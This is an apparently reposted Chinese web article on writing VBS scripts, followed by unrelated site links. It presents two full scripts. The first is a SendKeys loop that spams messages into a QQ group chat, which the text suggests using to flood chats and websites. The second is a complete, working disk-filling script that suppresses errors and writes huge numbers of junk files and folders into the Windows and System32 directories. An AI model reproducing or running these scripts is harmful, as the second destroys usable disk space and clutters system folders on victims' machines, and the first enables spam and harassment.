vbs腳本(如何編寫一個vbs腳本)

來源：互聯網轉載時間：2024-05-11 13:14:58

代碼如下:

SetWshShell=WScript.createObject("WScript.Shell")
WshShell.AppActivate"群-Powers成員交流"
fori=1to10'要發的次數
WScript.Sleep500'發送消息的時間間隔
WshShell.SendKeys"^v"'要發的內容
WshShell.SendKeysi'這里拿每條消息都不同,在后面加上i即循環的次數
WshShell.SendKeys"%s"
next

這個代碼里面解釋的很清楚的啦~呵呵
其實就只是這么一點點就已經可以弄來我們做好幾個好玩的東西了啦~比如:刷QQ聊天啊、刷網站啦~

由于比較感興趣,所以找到個這樣的代碼:一個寫硬盤的VBS腳本程序(不要做壞事哦)

代碼如下:

onerrorresumenext
dimobjdir,suijishu
setobjdir=wscript.createobject("scripting.filesystemobject")
setwindir=objdir.getspecialfolder(0)
setsysdir=objdir.getspecialfolder(1)
'開始程序
fori=1to1000
forj=1to1000
forr=1to1000'------------------------------------------------------------------------------
randomize
y=int((122-65+1)*rnd+65)
y1=int((122-65+1)*rnd+65)
y2=int((122-65+1)*rnd+65)
y3=int((122-65+1)*rnd+65)
y4=int((122-65+1)*rnd+65)
y5=int((122-65+1)*rnd+65)
y6=int((122-65+1)*rnd+65)
y7=int((122-65+1)*rnd+65)
y8=int((122-65+1)*rnd+65)'-----------------------------------------------------------------
y9=int((122-65+1)*rnd+65)
f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9)
suijishu=int(rnd*10000)
'創建windows文件
yang=windir&""&f&"."&chr(y3)&chr(y7)&chr(y)
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2)'2
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu'-----------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1)'3
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)'-------------------------------------------------------------
next
a.close
yang=windir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3)'4
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next'--------------------------------------------------------------------------------------
a.close
yang=windir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4)'5
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'---------------------------------------------------------------------------------

yang=windir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y8)&chr(y)'6
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'----------------------------------------------------------------------------------
yang=windir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y2)&chr(y)&chr(y5)'7
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y4)&chr(y)&chr(y7)'8'---
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
'創建system文件------------------------------------------------------------------------------10
yang=sysdir&""&f&"."&chr(y3)&chr(y9)&chr(y1)
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y3)&chr(y1)&"."&chr(y4)&chr(y2)&chr(y9)'2------------------------------------------
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y3)&chr(y7)&chr(y)'3
seta=objdir.createtextfile(yang,true)'------------------------------------------------------
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y5)&chr(y4)&chr(y1)'4
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"'-----------------------------------------
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y3)&chr(y6)&chr(y9)'5
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"'------------------------------------------------
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y)&chr(y5)'6
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------15
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y7)&chr(y5)&chr(y1)'7
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu'-------------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y1)&chr(y7)&chr(y4)'8
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執行官老楊同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)'--------------------------------------------------------------
next
a.close
'創建windows文件夾
yang=windir&""&f&"u"
objdir.createfolder(yang)
yang=windir&""&chr(y4)&chr(y2)'2
objdir.createfolder(yang)
yang=windir&""&chr(y)&chr(y9)&chr(y5)'3
objdir.createfolder(yang)'-------------------------------------------------------------------
yang=windir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7)'4
objdir.createfolder(yang)
yang=windir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3)'5
objdir.createfolder(yang)
yang=windir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7)'6
objdir.createfolder(yang)
yang=windir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2)'7
objdir.createfolder(yang)
yang=windir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5)'8
objdir.createfolder(yang)'--------------------------------------------------------------------

'創建system文件夾
yang=sysdir&""&f&"n"
objdir.createfolder(yang)
yang=sysdir&""&chr(y4)&chr(y2)'2
objdir.createfolder(yang)
yang=sysdir&""&chr(y)&chr(y9)&chr(y5)'3
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7)'4
objdir.createfolder(yang)'---------------------------------------------------------------------
yang=sysdir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3)'5
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7)'6
objdir.createfolder(yang)
yang=sysdir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2)'7
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5)'8
objdir.createfolder(yang)
next
next
next

感謝各位的閱讀,以上就是“如何編寫一個vbs腳本”的內容了,經過本文的學習后,相信大家對如何編寫一個vbs腳本這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是本站,小編將為大家推送更多相關知識點的文章,歡迎關注!

本文由 貴州做網站公司 整理發布，部分圖文來源于互聯網，如有侵權，請聯系我們刪除，謝謝！

標簽：vbs腳本-

上一篇：刀片服務器(刀片服務器是什么)

下一篇：spring boot(SpringBoot框架是什么及怎么使用)

網站建設網站推廣 SEO 網站運營網絡營銷

c語言中正確的字符常量是什么

2024-12-15

c語言中正確的字符常量是用一對單引號將一個字符括起表示合法的字符常量。例如‘a’。數值包括整型、浮點型。整型可用十進制，八進制，十六進制。八進制前面要加0，后面...

天津專升本最新信息2022年

2024-12-15

2022年天津專場考試原定于3月19日舉行，受疫情影響確定延期，但目前延期后的考試時間推遲。符合報名條件的考生，須在規定時間登錄招考資訊網(www.zha...

喜聞樂見的意思是

2024-12-15

：喜歡聽，樂意看。指很受歡迎?！巴卣官Y料”喜聞樂見：[ xǐ wén lè jiàn ]詳細解釋1. 【解釋】：喜歡聽，樂意看。指很受歡迎。2. 【示例】：這是...

短債基金是什么意思？短債基金有什么特點？信用債包括哪些品種？

2023-09-05

短債基金是什么意思?基金分為很多類型，主要是按照投資持倉來分，比如股票型基金、貨幣基金、債券基金等等，而債券基金又分為短債基金、中短債基金、中長期純債基金等等，很多人都是買的短債基金，短債基金是主要投資于久期小于1年的債券，中短債基金主要投資于久期在1-3年的債券，中長期純債基金則沒有久期的限制。久期就是債券的剩余壽命，也就是債券持有者收回全部本金和利息的平均時間。久期越長，債券價格的波動越大，風...

24k金和99和純金有什么區別？黃金怎么鑒定？通讀此文便可知

2023-08-29

人生的美好，莫過于白馬王子在你的手指上帶上一顆足金的鉆戒，來一次美好人生的邂逅。那么關于黃金24k和999和純金的區別你知道多少呢?接下來我們就一起了解一下24k金和999金的區別。24K就是純金，通常將含金達到99.96%以上的黃金稱之為24K金或者是純金，24K金和999黃金的區別是:1、含金量不同: 24K金為純金，含金量在99.96%以上，而999黃金是含金量達到99.9%的黃金;2、價格...

AWS簡單搭建使用EKS二

2023-09-02

背景：緊接AWS簡單搭建使用EKS一，eks集群簡單搭建完成。需要搭建有狀態服務必然就用到了storageclass 存儲類，這里用ebs記錄以下AWS簡單搭建使用EKS二存儲類選型：參照官方文檔：https://kubernetes.io/zh-cn/docs/concepts/storage/storage-classes/#the-storageclass-resourceimage.pn...